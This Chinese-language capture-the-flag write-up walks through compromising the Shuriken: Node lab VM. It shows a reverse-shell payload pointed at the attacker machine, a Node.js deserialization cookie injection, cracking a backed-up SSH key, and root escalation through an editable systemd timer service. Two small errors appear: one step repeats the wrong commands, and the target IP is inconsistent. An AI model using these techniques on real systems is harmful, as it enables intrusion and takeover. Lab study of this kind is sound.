Shuriken Node

SHURIKEN: NODE

一、基本信息

名称:Shuriken: Node

发布日期:2020.12.13

作者:TheCyb3rW0lf

系列:Shuriken

二、靶机简介

Flags:

serv-adm:/~/user.txt
root:/root/root.txt

难度:困难

三、文件信息

文件名:Shuriken_Node.ova

文件大小:2.5GB

下载地址:

MD5: 5EEFC9733F218D3EB5E96CA231204BAC

SHA1: BE48EB2CE8B9FAA6C016BAE4776869F873F6B2B9

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shuriken_node和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和8080端口,访问8080,查看源码没有什么线索:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.125 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,也没有过多线索:

1
gobuster dir -u http://192.168.56.125:8080 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Node.js漏洞利用

1.根据主页提示,我们需要关注Node.js相关的问题,在exploit-db查询node.js相关的漏洞(https://www.exploit-db.com/exploits/41289):

image-

2.根据漏洞文档描述,我们在https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py下能够找到利用程序,在kali上获取一下:

1
wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py

image-

3.利用nodejsshell.py生成设定的ip和端口的shellcode,根据漏洞文档描述,要将shellcode加载后进行base64编码:

1
python nodejsshell.py 192.168.56.102 9002

image-

4.利用漏洞文档提供的加载器,再在https://gchq.github.io/CyberChef/上进行base64转换后,kali监听对应端口,把payload注入到cookie中:

1
{"rce":"_$$ND_FUNC$$_function ()}()"},加载器

image-

image-

image-

SSH免密登录,初步提权

1.注入cookie后,我们就获得了shell,利用python构建交互式shell:

image-

2.查看文件权限,发现/var/backups目录下有ssh-backup.zip文件,解压后得到一个id_rsa:

1
2
3
cd ~
ls -la /var/backups
unzip ssh-backup.zip

image-

3.我们在/home目录下能够再发现serv-adm用户,这个密钥很可能就是该用户的:

1
2
cd /home
ls -la

image-

4.id_rsa是一个加密了的密钥,我们把它复制到kali,利用ssh2john进行解密后ssh登录serv-adm:

1
2
3
vim id_rsa.enc
/usr/share/john/ssh2john.py id_rsa.enc > id_rsa.hash
john --wordlist=rockyou.txt id_rsa.hash

image-

1
2
3
4
openssl rsa -in id_rsa.enc -out id_rsa,pasword是刚才john解出的密码
chmod 600 id_rsa

ssh serv-adm@192.168.56.125 -i id_rsa

image-

root提权

1.在ser-adm用户目录下,能够发现第一个flag,user.txt:

1
2
3
cd ~
ls -la
cat user.txt

image-

2.利用sudo -l命令查看文件权限,发现有定时文件:

1
2
3
cd ~
ls -la
cat user.txt

image-

3.我们查看一下shuriken-auto.timer,发现他定时执行shuriken-job.service,我们可以修改job为我们需要的提权程序:

1
2
3
cd /etc/systemd/system
ls -la
cat shuriken-auto.timer

image-

1
nano shuriken-job.service

image-

Flag获取

1.现在我们能重启一下时间器,获得用于提权的bashroot,执行触发获得root权限:

1
2
3
sudo systemctl stop shuriken-auto.timer
sudo systemctl start shuriken-auto.timer
/tmp/bashroot -p

image-

2.在/root目录下能够发现第二个flag,root.txt:

1
2
3
cd /root
ls -la
cat root.txt

image-